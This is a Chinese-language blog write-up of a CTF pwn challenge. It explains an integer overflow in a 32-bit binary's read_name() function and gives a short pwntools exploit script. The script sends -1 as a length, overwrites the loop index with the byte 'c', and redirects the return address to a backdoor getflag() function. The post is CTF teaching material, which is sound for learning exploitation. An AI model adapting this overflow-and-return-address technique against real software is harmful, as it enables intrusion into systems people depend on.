ReStr0
Venom战队队员 Chamd5安全团队
ReStr0-Blog

一道有意思的题目

查看题目保护

https://blog.restro.cn/wp-content/uploads/2021/08/image-34.png

题目只开了一个nx保护,是一个32位的小程序

https://blog.restro.cn/wp-content/uploads/2021/08/image-35.png

查看ida发现类似一个伪随机数的题目,存在后门函数getflag(),进入read_name()函数,

https://blog.restro.cn/wp-content/uploads/2021/08/image-36.png

发现存在一个整形溢出点

于是想到利用这个地方直接覆盖返回地址到getflag()函数

EXP

p = process("./pwn1")
getflag = 0x080486BB
p.recvuntil("###### Welecome to ctf game ######\ninput your name length : ")
p.sendline("-1")
p.recvuntil("please tell me your name : ")
payload = 'b'*(0x60-0xc) + 'c' + p32(0x080486BB)
p.sendline(payload)

p.interactive()

这时候大家肯定疑惑为啥会加一个c

此时我们覆盖了s和v2,然后直接用c去覆盖i的值,ord(c)==99,

0x60+4字节的偏移量是100,

https://blog.restro.cn/wp-content/uploads/2021/08/image-38.png

然后我们这里因为给i负数整形溢出了,所以,我们可以输入0xffffffff个字符,

我们用c覆盖掉i,则for循环直接从s[99]继续写入,此时后续写入的数据刚好覆盖在retaddr上

前面的0x60-0xc就是计算i和s[]的偏移量,为的是覆盖i

发表评论

textsms
account_circle
email

ReStr0-Blog

一道有意思的题目
查看题目保护 题目只开了一个nx保护,是一个32位的小程序 查看ida发现类似一个伪随机数的题目,存在后门函数getflag(),进入read_name()函数, 发现存在一个整形溢出…
扫描二维码继续阅读
2021-08-09